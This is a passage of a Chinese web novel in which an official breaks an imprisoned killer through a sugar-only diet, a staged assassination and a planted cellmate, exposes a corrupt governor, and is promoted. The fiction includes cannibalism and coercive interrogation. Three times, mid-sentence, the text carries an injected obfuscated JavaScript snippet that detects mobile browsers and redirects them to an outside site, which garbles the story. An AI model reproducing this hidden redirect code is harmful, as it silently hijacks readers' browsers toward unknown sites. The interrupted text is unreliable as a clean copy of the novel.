“余四如果受不了了,就让他写认罪书,写完才能吃正常的饭菜。当然,他应该不会那么快败下阵来。你们这些天凡是吃饭喝水,都到余四面前去,最好发出点声音,比如夸赞食物。” 狱卒得意地一笑:“是,这个小人们很熟,一定会把事情办好的。” “还有,余四的来历可能不简单,背后可能有主子。为防他主子来灭口,你们都多加小心。我已在大牢四周布下暗卫,保护你们和余四的安全。你们无论去做什么,都要大家一起,不要落单。” 狱卒凛然道:“是,小人记住了。” 萧柠嘱咐完毕,走到了余四的牢房前。 余四看了看萧柠,随即垂下了目光。 他大概知道说什么都没用,所以也没求饶。 萧柠道:“余四,你猜本官在你家发现了什么?你把珠宝藏在空心砖头里,实在太聪明了,一般人还真发现不了。我就知道你身怀绝技,不可能过这种普通又贫穷的日子。 你假扮成农夫,待在那么一个破地方,必有所图。那些珠宝,都是你偷来的吧? 官府已经贴出告示,让失主来认领。一旦有人认领成功,你的罪名就更大了。 不如现在主动招供,还能换取一线生机。 你可能觉得,自己杀了人,无论如何都是个死。但是,如果你能招出一些有用的信息,未必要死。 比如,你在替谁做事?你背后还有什么产业?你用尸体种出来的菜,都被谁吃了?你杀的人都是什么身份?谁让你杀的?” 余四还是那句话:“我没有做过任何犯罪的事,没法招供。” “好吧,希望你在监狱里吃得开心,现在白糖可不便宜呢。” 听到白糖两个字,余四眼睛都发绿了,但他还是没有开口招供。 接下来的几天,萧柠都暂时借住在文县的县衙,以了解事情的进展。 至于容城那边的政务,她派瞿明修回去主持。 凌长空还是跟着自己,他会武功,可能能帮到萧柠。 这些天,不停地有失主过来辨认珠宝。 有的珠宝有人认领了,那些人也能提供证据,证明这些珠宝是他们家的。 奚县令对他们说,这些珠宝是重要物证,牵涉一桩大案,暂时不能归还。等案情了结,就能归还了。 127. 狡猾(修) 那些失主也没什么意见。 萧柠趁机问那些失主,自己家失窃的时候有没有看见盗贼的模样,他们都说没看见。 看来,失主们也没法提供更多线索。 还有十来件珠宝没人认领,奚县令道:“这些珠宝是从何处得来的?为何没人认领?” 萧柠分析道:“余四在文县居住十多年了,如果他一直在偷东西出去买,前些年他偷来的东西肯定早就卖完了。现在还藏在家里的,肯定是近期才偷出来的。 但是近半年来,文县所有的失主我们都找来了,还是有十来件珠宝无人认领,可能这些珠宝是别的来路。” 凌长空道:“余四既然会武功,也未必只在文县偷盗。也许,他是在别的地区偷盗,又偷偷拿回来的。只是,如果要找整个容城,甚至于整个青州的失主,就太多了,一时半会排查不完。” 萧柠道:“他确实可能从很远的地方偷东西回来,但没这个必要。文县也有许多有钱人,如果他只是求财的话,就近偷一下就好了。” 凌长空又拿起那些没人认领的珠宝,仔细瞧了瞧,闻了闻气味,道:“这些东西……像是从坟墓里盗出来的。” “你是说,余四还盗墓?” “应该是的。我以前也经办过一些盗墓案,这些珠宝的气息有一股坟墓的腐朽味,虽然比较淡,但还是能闻出来。” 奚县令道:“但是如果有人被盗墓了,为何不来报官?” 萧柠:“不知道,也许他们没发现。奚县令,麻烦您再贴一批告示,让百姓们检查自家的坟墓是否有被盗的痕迹,尤其是那些有名贵陪葬品的坟墓。如果有被盗墓的,就来报官,顺便辨认一下剩下的珠宝。” “是。” 告示张贴出去后,果然有几个富家子弟来县衙报案,说自家坟墓里的陪葬品少了。因为盗墓贼把坟墓复原得很好,他们没发现。 这次他们是看到告示,特意打开坟墓看了,才发现少了一些陪葬品。 奚县令让他们写下少了的陪葬品分别是什么、价值几何、之前购买这些物品的凭证,然后让他们辨认从余四家搜出来的、还无人认领的珍宝。 有个叫张九峰的少年道:“这些全是我爷爷的陪葬品!但是不止这一些,其他的呢?” 奚县令道:“我们只找到这些,其他的可能被倒卖了。等本官审问明白,会通知你的。” “大人,偷这些陪葬品的人是谁?” “暂时还不能肯定,但官府已经有线索了,会尽快查明的。” “那……被卖掉的陪葬品怎么办?” “如果人犯如实招供,有追回来的可能,但不能保证。” “好吧。” “你家的祖坟失窃时,可有人看见?” “没有。我们一年只祭祖一两次。” 其他几个来报案的富家子弟问道:“大人,为何没有我们家的陪葬品?” 奚县令道:“有可能你们家的陪葬品是被别人所盗,也可能是被同一人所盗,但早就卖掉了。本官会尽快查清真相的。” “好的,多谢大人。” 几天后,余四仍是不吃不喝。狱卒强迫他吃甜饭、喝糖水,他抵挡不过时,也吃两口。 他迅速地变胖,肚子大得像怀了孕。皮肤变得松弛,脸上长了难看的痤疮,整天半睡半醒的,提不起精神来。 他不停地舔嘴唇,大约是想喝清水。 但是,他就是不认罪、不请求,一直熬着。 萧柠都有些佩服他了。 萧柠偷偷叫来牢房里潜伏的暗卫,问道:“这些天,有人来刺杀余四吗?” “好像有几个可疑之人在外面晃荡,但是见监狱守备森严,就没过来,看了几眼就离开了。不确定他们是不是想杀余四,因为他们也没采取什么行动。” 萧柠道:“虽然外面的刺客进不来,但我们可以让余四认为刺客进来了。” “公主的意思是?” 萧柠小声对他说了几句话,暗卫点了点头。 ———— 余四在半梦半醒中,也不知道时间过去了多久。 忽然,他发现看守他的狱卒都倒了下去。 有一个黑衣人悄无声息地潜了过来,一出手,就把所有的狱卒打晕了。 接着,他静静地看向余四。 余四察觉到黑衣人的存在,但垂着头,只作不知。 黑衣人掏出银针,要往余四脖子上发射。 这时,凌长空带着几名侍卫赶到,跟那黑衣人打斗。 打了一会,黑衣人自知不敌,便赶紧把所有银针都朝余四那边发射,然后逃走了。 凌长空挥剑一挡,把所有银针挡了下来,余四毫发无损。 接着,余四抬起了头。 凌长空对他说道:“余四,你看见了吧?你保守着秘密,但你的主子却想杀你。你不如跟官府合作,招认所有罪行,并说出有谁跟你同谋,你在为谁效力,太守大人还能饶你一命。如果不是太守大人让我们暗中守在这里,今日你已经被刺客杀死了。” 余四却笑了:“戏演得不错,但是无可奉告。我说了,你们要判我有罪,就得拿出证据来。” “你要是继续嘴硬,我们会撤退。等下次杀手来时,你就没那么好运了。” “如果有人要杀我,使用的不是银针。刚才那个所谓的刺客,是你们找来的吧?我不会上当的。” 凌长空有些惊讶,随即斥责道:“既然你不肯老实交代,我们也就不必暗中保护你了。走。” 凌长空把侍卫们带走,离开了大牢,回到议事厅。 议事厅里,坐着萧柠、奚县令,刚才那个行刺的黑衣人也在。这黑衣人正是萧玉蟾的暗卫,六幺。 六幺问道:“怎么样?余四肯招供了吗?” 凌长空摇头道:“没有。余四好像发现你是假刺客了。他刚才说:‘如果有人要杀我,使用的不是银针。’ 这句话说明,余四确实有个幕后的主子,而他的主子也确实养着一批杀手。但是那些杀手应该是使用一种特殊的武器,并且不会轻易更改。这种武器不是银针,所以刚才六幺用银针攻击他,他判断出六幺并不是他主子派来的,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147070|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们在用自己人乍他。 他挺狡猾的,没那么容易上当。” 萧柠皱眉道:“这个余四,这样都不上当。莫非我们真要放真正的刺客进去,他才知道害怕?” 奚县令道:“不妥。如果真正的刺客进去,我们很难保证余四的安全。看来,要让他招供,还得想别的法子。” 凌长空有些恼火:“这个余四,油盐不进,吃过量的糖也不肯屈服,派出假刺客又被他识破,简直油盐不进!难道,真的要动用酷刑?” 萧柠道:“动用酷刑也不管用啊,比如那个夹手指的刑具,对他肯定不管用。他的手指比铁还硬,说不定能把刑具给崩断。要是用烙铁烫他,他使出金钟罩之类的功夫,根本烫不伤。” “那该如何?” 奚县令道:“下官有一计……” 奚县令对萧柠等人说了一番话,萧柠等人都表示赞同。 —————— 余四很久没进食,饿晕了过去。 等他醒来时,发现狱卒们押着另一个人犯过来。 狱卒们说道:“这个人犯也是死不认罪,跟余四一样。不如就把他们两个关在一起,也算臭味相投。” 说着,狱卒们就打开牢门,把那个人犯给推进去。 余四手脚被铁链锁着,也出不去,只能小范围内活动一下。 他看见新进来的犯人瘦骨嶙峋,披头散发,浑身血污,散发着一股臭味,脸上、身上都有很多伤口,便往远处躲了躲。 这牢房里已经够不干净的了,再来这么一个人,更让人心烦。 狱卒们放下两份饭、两碗水,说道:“你们两个,饿了就自己吃饭。” 说完,狱卒们就锁了牢门,离开了。 那个瘦骨嶙峋的犯人拿起一碗饭,吃了两口,就吐了出来:“呸!甜的!” 接着,他又拿起一碗水,喝了一口,全喷在地上:“玛德,他们就给老子吃这个?官府里折腾犯人的手段可真不少!老子宁可吃黄连,都不要喝这么浓的糖水!” 然而,任凭他怎么喊,都没人理他。 余四听得心烦,说道:“别喊了,只要你不招供,就不会有正常的饭菜。” 那瘦子道:“这些天你也吃这个?” “没错。” “你吃了几天?” “四五天吧。” 瘦子竖起了大拇指:“你是这个。” 过了一会,那瘦子又问道:“你难受不?” 余四没好气地说:“那还用说?你别跟我说话了,我口水不多了,还要留着冲冲嘴里的甜味。” “不说就不说……哎,我要是三天吃不到正常的饭菜,说不定就招了……这位兄弟,你是为什么进来的?” 余四不理他。 这瘦子躺在稻草上,自顾自地说道:“我是一个死士,为我家主人去刺杀一个官员。结果刺杀失败,我被抓了,那官员想问出我主子是谁。我不肯招,他就给我灌了整整一大壶的糖水,一大壶啊!还有人性没有?” 余四斜了他一眼:“现在碎嘴子也能当死士了?” 128. 生吃(修) “谁说不能?我告诉你,我平时可不是碎嘴子。我天天就是练武,比试,练武,比试……同伴们都闷得很,也不太说话。现在我快死了,我真恨不得多说个几千句话,要不然太亏了……糟了,我有点渴……” 余四道:“那儿有两碗水。” “兄弟,你就别拿我开涮了。要不这样,两碗都让给你,我一口都不喝,怎么样?够义气吧?” 余四冷冷道:“不用了。” 瘦子休息了一会,又问:“你叫什么名字?我叫时九。” “你都快死了,要知道我名字干什么?” “交个朋友嘛。” “不交。” “真看不出来,你这么冷酷无情啊……” “是的。” “……” 时九无言以对,只好闭嘴。 过了一会,他在牢里踱来踱去,不停地喃喃自语:“我要清水我要清水……” 余四听得心烦,道:“别念了,再怎么念也得不到清水。” “谁说的?只要我出卖主子,我就能喝到清水!没错,我要出卖我主子!可是我的老娘还在主子手里,呜呜呜……” “你有病啊!哭什么哭!” “也对,要是把眼泪流出来,身体就更缺水了。我想我娘了……兄弟,你有娘吗?” “你骂谁呢?” “不是,我没有骂你的意思……我是说,你娘还活着吗?她是不是也在你的主子手里啊?” “跟你没关系。” “不说就算了……哎,也不知道我能撑几天……” 余四和时九被一起关了好几天。他们的饮食都加了大量的糖,根本难以入口。 于是,时九也跟余四一样,开始不吃不喝。 但没过多久,他就受不了了。 他走到余四身边,道:“兄弟,你行行好,你的血给我喝两口……血总没有糖水那么甜吧……” 余四震惊:“你说什么?” “你看啊,你比我先关进来的,你被折磨了这么久,估计没几天能活了……我活下去的可能比你大一点,我在外面还有一些朋友,他们可能会来救我的……我还有老娘,我不能先她而去…… 你把你的血给我喝一点,我出去之后,一定给你立衣冠冢,四时祭拜……” “不可能!离我远点!” “兄弟,对不住了,我实在是坚持不了了……” 说着,时九就要咬破余四的胳膊。 余四慌忙道:“等等!我吃了很多天的糖,我的血也是甜的。你喝下去不管用,只会死得更快!” “再怎么甜,总比糖水好一点……你再给我一点肉,我保证每天只吃一小块……” “什么肉?你说清楚!” 时九一口咬中了余四的胳膊,连皮带肉扯下一大块来。 余四惊骇之余,才发现时九想生吃他的血肉! 本来,以余四的武功,是不用怕时九的。但是余四手脚被铁链锁着,身上的重要穴道又被点了,没法跟时九打斗。 而时九没被锁住,他想干什么都可以。 余四的胳膊处传来一阵剧痛。他低头一看,右边胳膊已是血肉模糊。 这些天,时九一直在牢房里发牢骚、胡说八道,让余四以为他是一个没什么攻击性的人。 可是,余四忘了,时九是死士出身,死士在极端情况下,本就是什么都吃得下去的。 难道,自己身上的血肉就要活生生地被时九吃光不成? 那太可怕了…… 时九似乎还想继续咬他的胳膊,余四情急之下,拿头撞了时九的头。 余四练的是外家功夫,一身的铜皮铁骨,头也比一般人要硬很多。 他这么一撞,时九竟直接气绝身亡,倒在地上。 余四还没回过神来,眼前忽然出现了许多狱卒。 他们惊呼道:“余四杀人了!”“没错,我们这么多人都是目击证人!” 很快,萧柠和奚县令都来了。 萧柠对狱卒道:“你们亲眼看见余四杀了时九?” “是的!大人,这个余四真是胆大包天。” “把余四带出来,就地处决。” 余四道:“等等!是时九先咬了我的胳膊的!他把我胳膊咬成这样!我为了自保才拿头撞他!” 萧柠道:“他就算咬下你胳膊上的肉,也不致命,你却直接杀了他,说破天也没理。之前在你家地里挖出尸体,你说没人看见你杀人,不能定你的罪。这次你杀死时九,有这么多目击者,人证物证俱在,你抵赖不得。 即便你以前没做过坏事,只凭杀死了时九一条,也是死罪。” “等一下!就算我犯了死罪,你也不能现在杀我!按照律法,死刑需上报刑部复核,刑部确认无误后,地方官才能执行死刑。” “没想到你一个种地的贫困户,对律法倒是很了解啊。可惜最近,皇上给每个县都特批了一个死刑名额,只要确认某个犯人该死,可以不上报刑部,直接处决。文县的名额还没用,今天正好用在你的身上。来人,把他弄出来。” 狱卒们把余四拽了出来。 有个狱卒拿起一把刀,直接朝余四的脑袋砍。 就在那把刀快要砍中余四的时候,余四大叫:“刀下留人!” 萧柠道:“你还有什么话说?” “我……之前你们不是说,只要我说出一些对你们有用的话,就可以免去我的死刑吗?” “没错,是有这么说过。可是,你只不过是一个杀了几十个人、偷过一些金银财宝的人,你身上没有什么值得深挖的。” “不,有……我在替一个人做事……我所做的事,远不止你们看到的这些……” 萧柠命人搬来椅子,好整以暇地坐下:“那你说吧。” “我……我能不能先喝点清水,吃点咸的饭菜?” “可以。” 萧柠一声令下,狱卒们端来一大盆清水、一大盆饭菜。 饭菜看着像剩饭剩菜,本来应该是要拿去喂猪的。 余四毫不嫌弃,先喝了半盆清水,再狼吞虎咽地吃着剩饭剩菜。 吃几口饭,他就要喝水。 好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147071|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易吃饱喝足,余四才道:“现在可以说了……” 萧柠道:“那么,就从你是谁开始说起吧。” “我叫余星,本来是个江洋大盗。后来我在做一桩案子时,被青州刺史韩谨之抓住。我本以为必死无疑,但韩谨之说,只要我为他做事,他就可以饶我一命。” 萧柠惊讶道:“所以,你背后的主子,是青州刺史韩谨之?” “没错。他让我伪装成贫穷的农夫,定居在文县。表面上,我以种菜为生。但是,韩刺史想除掉文县或文县附近地区的什么人时,他就会叫我动手。我杀了人后,就把尸体埋在菜地里。如果尸体埋满了,我就全都挖出来,把尸骨捏碎,然后把骨灰洒在河里。” 萧柠听得后脑发凉:“这么说,我们从你地里挖出来的三十多具尸骨,并不是你第一批埋下去的尸骨?你以前还埋过其他人,只是都挖出来捏碎了?” “没错,我在文县大概杀过一百多人吧,具体数字我记不清了。我那块地最多只能埋三十多个。本来这次不被你们挖出来的话,我自己也要挖出来捏碎的。” 萧柠觉得自己的血液都发凉了。她勉强稳住心神,问道:“你靠自己的双手,就能捏碎人骨?” “没错,我的铁砂掌已经练到第九重了……说这些你也不懂,你只需要知道,我有这个能力就可以了。” “那骨灰你扔在哪里?就在你家附近的河流?” “有时候扔在那条河,有时候往更远的地方扔。” “你杀的都是些什么人?” “韩刺史让我杀人的时候,不会解释太多,我也不会问太多。所以,很多人我并不知道他们的身份,也不知道韩刺史为何要杀他们。我只知道,有些人似乎掌握了韩刺史的罪证,有些人可能是挡了他的财路。” “你杀人的时候,会顺便拿走他们的财物,找机会变卖?” “是的,不过也得有时间才行。有时候时间仓促,我只顾得上杀人,顾不上查看他们的财物。” “每一个被杀的人,你都埋在了自家的田里?” “不是,有的弃尸荒野了,也有的是要伪装成失踪人口的,那我就需要埋起来。具体是直接抛尸还是埋尸,韩刺史都有指示。” “所以,这些年,韩刺史给了你很多钱?” “对,他给我钱,我帮他办事。” “你既然有很多钱,是怎么掩人耳目的?你的邻居一直以为你很穷。” “我得到钱,会去没人认识我的地方挥霍掉,只留下一小部分当做生活费。” “你的生活费,就藏在家里的破碗中?” “没错。我有时候不想吃粗茶淡饭了,就会偷偷拿上银两,去很远的地方吃顿好的。” “既然韩刺史给你很多钱,你为何还要偷盗文县的富户,甚至还要盗墓?” “我本来就是个盗贼,偷窃的毛病是改不了的。而且,这也是我跟韩刺史之间的约定。我替他办事,但是我偷东西和销赃的时候,他也要帮我遮掩,不能让我被人发现。” “你偷东西的时候,韩刺史又不在你身边,怎么帮你遮掩?” 129. 未死(修) “我偷东西的时候不需要别人帮忙遮掩,我对自己的技艺有信心。但是,失窃的人家会报官,韩刺史要想办法把这些失窃案件压下来,不让官府投入太多精力在上面。否则,很容易查到我身上。 还有,我偷来的东西要销赃,也要交给一些倒卖赃物的人。那些人容易被官府抓到,一旦被抓,为了减刑,可能会供出我。韩刺史得想办法让那些人不要供出我来。 有他的帮忙,我这么多年偷盗财物、盗墓,从未被人发现。” “原来如此。那他怎么能确定,你一定会忠于他?” “因为我有把柄在他手上。而且,帮他做事,一直有钱拿,比较稳定。不像我自己单干的时候,得碰运气。运气好了,做个大单,能吃很久;运气不好,忍饥挨饿也是常有的事。” 萧柠有些想冷笑。余四这话说的,好像韩刺史是什么盗匪头子一般。但仔细一想,韩刺史不就跟盗匪头子差不多吗? 萧柠接着问道:“你为什么要杀死那几个外地客商的家丁?” “韩刺史只让我烧掉那几个外地客商的仓库,但是我在放火的时候,发现有家丁巡逻。他们看见了我,我怕麻烦,就把他们全杀了。” “如果拿几个客商得罪了韩刺史,韩刺史为何不让你直接杀了他们,而是只让你放火烧仓库?” “我不知道……可能那几个客商并未得罪韩刺史,只是他们在容城发展,可能会阻碍韩刺史的财路。韩刺史不喜欢把事情做绝,只有迫不得已的时候才会叫我杀人。我想,那几个客商应该还没有到非杀不可的地步吧。” “说的好像你们杀的人还不多似的。” “本来就不多,十多年时间,才杀一百多个,算多吗?我告诉你,我以前混江湖的时候,那杀人杀的,海了去了……” 奚县令皱眉道:“别扯远了,说正事。既然那几个外地客商不是非杀不可,你为何又杀了他们的家丁呢?” 余四道:“这是不凑巧,他们刚好在仓库那儿巡逻,看见了我,我就只能杀了。如果他们不在,我自然不会杀。” 萧柠问道:“那八名家丁的尸体,你是不是通过河流运过来的?” “没错。从容城到我家,有一条河流。我把那八具尸体放在特制的防水布袋中,让他们顺水漂流,我再施加一些力量,就能让尸体很快地流到我家附近,然后我再埋了。可惜埋得浅了,被你们发现了。” “容城的富商白绍雄等人,是不是也是韩刺史的人?他们在替韩刺史挣钱,所以凡是挡了这几个商人财路的,韩刺史都会设法对付?” “不是,白绍雄他们只是会给韩刺史上贡而已,并不算自己人。韩刺史在容城的心腹商人另有其人,他们都比较低调,从表面上看,他们并不算大商人,在容城都排不上号。但实际上,他们控制的产业很多,比白绍雄他们有钱多了。” “你知道他们的名字吗?” “我只知道其中几个。” 余四说了几个商人的名字,萧柠确实没听说过。 之前为了查仓库被烧案,萧柠整理了一份容城富商的名单,上面有八十多个人。 但是,今天余四所说的人,并不是那八十多人之一。 看来,韩刺史的心腹商人确实低调,连查都查不到。 萧柠又问:“韩刺史既然这般老谋深算,他的暗线应该不止你一个吧?” “我觉得像我这样为他效力的人应该还有很多,但具体情况我也不太清楚。他的布局不可能只在容城的,整个青州应该都在他的掌控当中。” “韩刺史跟你联系,有没有留下什么物证,比如书信之类的?” “没有。我会隔三差五去隔壁的凤城假装卖菜,如果韩刺史有任务交给我,他的幕僚会在那里等我,然后把任务口述给我。” “这么说,没有物证?” “没有。我算是人证。如果能抓到韩刺史的幕僚,那个幕僚也算人证,而且他手里可能会有一些物证。毕竟他一直跟在韩刺史身边。” “那些菜呢?你怎么处理的?” “我每次跟韩刺史的幕僚接头的时候,那个幕僚会把我的菜打包带走,带回青州城,给韩刺史的夫人吃。” 萧柠皱眉:“你种的菜是韩刺史的夫人吃了?她知道你用尸体种菜吗?” “知道。用尸体种菜的主意,还是刺史夫人出的。因为刺史夫人认为,吃了用人肉种出来的菜,可以永葆青春。” 萧柠听得想吐,还好她没吃多少东西,吐不出来。 “所以,你埋尸在自己的田里,一方面是为了掩藏尸体,另一方面也是为了种出刺史夫人想要的菜?” “对,其实埋尸的地点很多,如果不是刺史夫人非要吃人肉养出来的菜,我不会选择埋尸在自家地里,那样太容易被发现了。” “你经常去隔壁城市,一方面是因为盗窃了一些珠宝,经常要带过去销赃,另一方面是为了跟韩刺史的幕僚接头,领取任务,再顺便把菜给他?” “是的。” “行了,画押吧。” “太守大人,我真的能活?” “可以,你提供了很多关键线索,我会奏请皇上,留你性命。此案涉及一州长官,太过重大,需移交大理寺审理,并告知皇上。到时候,你也会被带到大理寺。你有什么说什么就行,不要隐瞒,大理寺的长官会酌情轻判你的。” “但是,我身上背了太多条人命……” “你可以供出自己做强盗时的同伙,再立一功。” “妙啊,就这么做。” 余四画了押之后,萧柠打了个呵欠,对着牢房里面道:“时九,起来吧。” 本该死去的时九竟然站了起来,捂着额头,笑道:“余四这老小子,劲还真大。还好我练过铁头功,一般人还真吃不消他这一撞。” 余四目瞪口呆:“时九,你没死……” 接着,他恍然大悟:“时九也是你们的人?” 萧柠笑道:“你还不算太笨。” 时九随便把自己的头发向后绾了绾,便趴到水盆边上大口喝水。 没过多久,他就把里面的水喝光了。 “喝了几天的糖水,可难受死我了。” 萧柠笑道:“辛苦了,一会下去领赏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147072|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时九行礼:“谢公主。” 时九一边往外走,一边卸去脸上的伤痕妆容,露出一张清俊的脸庞。 他跟六幺一样,也是萧玉蟾的暗卫,奉萧玉蟾的命令来协助萧柠的。 余四呆呆地坐在地上,似乎失去了全身的力气。 他本来想跟官府一直耗着的,他不信萧柠她们会眼睁睁看着他渴死。等他快死的时候,官吏们自然会喂他喝清水,给他治病。 但是没想到,魔高一尺,道高一丈,他竟被萧柠等人套路了,把一切都招了。 萧柠是女人,奚县令看起来像个文弱书生,余四本来没把他们放在眼里。 结果,一轻敌,就上当了。 看着余四沮丧的样子,萧柠笑嘻嘻地说:“输给我和奚县令,你不亏。” 余四叹道:“我服了……” 萧柠又问道:“你为韩刺史做事这么多年,虽然花钱大手大脚,但总不会都花了吧?你是不是还有一大笔存款?” “有……我的存款,放在一个我很信任的人手里……既然你们愿意放我一条生路,我就不说存款在哪里了。等我出狱了,还要指望那笔钱生活呢。” “那可不行,你杀了这么多人,他们也有亲朋好友,到时候跟你没完。你倒不如把存款拿出来,赔给受害者的家属。” “那也不够赔的。” “你拿出来,总是个诚意。要不然,你前脚刚被释放,后脚就被寻仇的人打死了。” “好吧……我在宁州有个相好的女人,叫万三娘。她是个瞎子,所以不知道我的模样。我的钱都是她管着,我可以提供地址,你们去找她要。” 一切都交代完毕后,萧柠派侍卫们把余四押解上京。她写了一封密折给义父姜焕,让姜焕密奏皇帝,说青州刺史韩谨之为非作歹之事。 为了避免打草惊蛇,请皇上派密探去青州调查,查明之后直接抓了韩刺史。 这封密信,由萧柠的侍卫呈交给尚书仆射姜焕。 姜焕读信后大惊,赶紧进宫面圣。 皇帝看了信之后,也是勃然大怒。他当即下令,由姜焕带着三皇子前往青州暗访,如果此事属实,立刻逮捕韩刺史等一干人等。 至于被押解上京的余四,暂时先在天牢里拘押,不要走漏了消息。 姜焕和三皇子来到青州,经过一番调查,确定了青州刺史韩谨之身犯多条大罪,贪污银两无数,谋财害命,罄竹难书。 青州账面上的银两,很多都进了韩刺史的腰包。 于是,他们抓捕了韩刺史及其党羽。 韩刺史的幕僚手上有更多证据,里面详细记载了韩刺史如何威胁像余四这样的人犯为他做事,如何排除异己,销毁对自己不利的罪证等事。 余四所杀的人,有很多都是掌握了韩刺史罪证的人,最终都死于非命。 也有一些是在钱财等方面跟韩刺史有冲突的人,韩刺史也叫余四杀了。 像余四这样的棋子,韩刺史还有二十多个,那些人所干的事,跟余四相似。 另外,韩刺史的夫人吃人肉培育出来的蔬菜的事,也找到了证据。 130. 升官(修) 韩刺史培养了一批死士,死士们所用的武器是一根细线,这细线是特制的,能很快割断人的脖子。 所以当初,萧柠派人假扮刺客,去刺杀余四的时候,余四马上就认出刺客是假的,因为韩刺史的死士使用的都是细线。 韩刺史还控制了一批商人,让他们为自己做生意,所得利润大部分都归韩刺史。 而影响这些商人利益的人,就会被韩刺史对付。当然,韩刺史也不是每次都杀人,他会尽量以不杀人的方式,击溃对手。 比如范自安等外地客商,进入容城卖货物,本来不占什么优势。但是后来,他们以极低的价格出售粮食,获得了容城百姓的信任。 所以,他们后续无论卖什么,都会有很多人买。 而这就损害了效忠于韩刺史的容城商人的利益。所以,韩刺史才会派余四去烧了范自安等人的仓库。 虽然姜焕他们办案是保密的,但韩刺史的事太大了,瞒不住,百姓们还是知道了韩刺史做的一部分坏事。 一时间,街头巷尾议论纷纷,百姓们都在感慨韩刺史是一头披着羊皮的狼。本以为他是父母官,没想到他比强盗还狠。韩刺史的夫人更是不做人,竟然故意让人用尸体种菜来吃。 韩刺史被抓的时候,青州别驾易思贤还冲上去暴打了他一顿,边打边骂他中饱私囊,损公肥私,难怪青州总是缺钱。 易思贤还说,自己连敲诈勒索下级官员的手段都用了,还是填不上青州的亏空,原来都是韩刺史搞的鬼。 易思贤平时为人霸道严厉,收税时从不肯少收一文钱,百姓犯罪无论大小都要罚钱,百姓们都很讨厌他。 但是现在,韩刺史的案子揭露,百姓们发现易思贤竟然是青州府难得的好官了,跟韩刺史及其党羽比起来简直是青天大老爷。 毕竟他从不杀人越货,从不官商勾结,从不跟死刑犯同流合污,从不铲除异己,从不吃尸体培育的菜。 所有人犯都被押解回京,韩刺史及其夫人被判处死刑,家产充公,其余家人流放。 其党羽也分别被判处斩首、流放、杖刑、绞刑等。 余四,也就是曾经的江洋大盗余星,因检举有功,而且招供了之前自己做强盗时的一些同伙,也算是戴罪立功,便免于处死,但必须终身监禁,其财产全部没收。 但余四被监禁没几天,就死在了大牢里。 谁也没追究这个事,这事就这么过去了。 经此一事,青州府缺了好几个官员。 皇帝想任命一个可靠的官员去当青州刺史,尚书仆射姜焕、三皇子萧奕贺、太傅申弘道等人极力推举萧柠为新任青州刺史。 当然,也有许多官员反对,说萧柠年纪尚轻,资历尚浅,不足以担当重任。 但姜焕等人力陈萧柠的功绩,说她为官以来,颇受百姓爱戴,很多政务都办得很不错。 因此,皇帝便任命萧柠为新任青州刺史。 原青州别驾易思贤,因多次殴打百姓、勒索下级官员等行为,降为青州长史。其行为虽是为了填补青州财政,但手段过激,故而小惩大诫,只是贬官一级而已。 瞿明修被任命为新的青州别驾,随萧柠赴任。 萧柠原为容城太守,现容城太守一职由容城司马凌长空担任。 夏以清原为萧柠下属,仍旧跟随萧柠去青州府赴任,担任青州府的录事参军,品级升了两级。 萧柠不太希望夏以清继续跟着自己,但低级官员的人事任免是由吏部决定的,她也没办法。 她觉得,夏以清的官职,一定经过靳妃等人的特别安排,她们一定要在萧柠身边安插一颗棋子。 萧柠就像是鞋底进沙子一样,走路难受,但沙子又倒不干净。 她决定先按兵不动。 她想起自己跟吏部侍郎封直言有交情,就偷偷写了封信问封直言,夏以清的官职任命有没有人特意安排。 封直言回信说,他也不太清楚,他在吏部只管一部分事务,夏以清他不熟悉,应该是其他人任命的。 萧柠打算以后再细查。 不管怎样,她从正四品的太守升为正三品的刺史,都是值得高兴的事。 她自掏腰包,宴请了同僚。 庆祝了一番后,她就带着瞿明修、萧玉蟾、夏以清等人,去了青州府上任。 郭南麟能帮任将军的忙,萧柠就把郭南麟暂时留在任将军那里。 郭南麟的母亲向氏,也继续住在容城,方便随时去看儿子。 没过几天,她们就到了青州。 萧柠摆了几桌酒席,宴请青州府的同僚。 易思贤成了萧柠的下属,再见面时难免有些尴尬。 萧柠笑着给易思贤敬酒:“易长史,你在青州府任职多年,劳苦功高,熟知政务。本官初来乍到,还有赖你多多支持。” 见萧柠不计前嫌,易思贤如释重负,将杯中酒一饮而尽,道:“大人有何吩咐,下官一定尽力。对了,之前的那些番茄苗和咖啡树,种在青州的官田里……” “那就种着吧,正好可以给青州增加收入。” “但是,番茄和咖啡树自从移植到青州之后,长势就不太好。” “我知道,这些东西是外来物种,容易水土不服,不太好养活。等本官调配一些特制的营养液,浇上去,就能养活了。” “是,那就有劳大人了。” 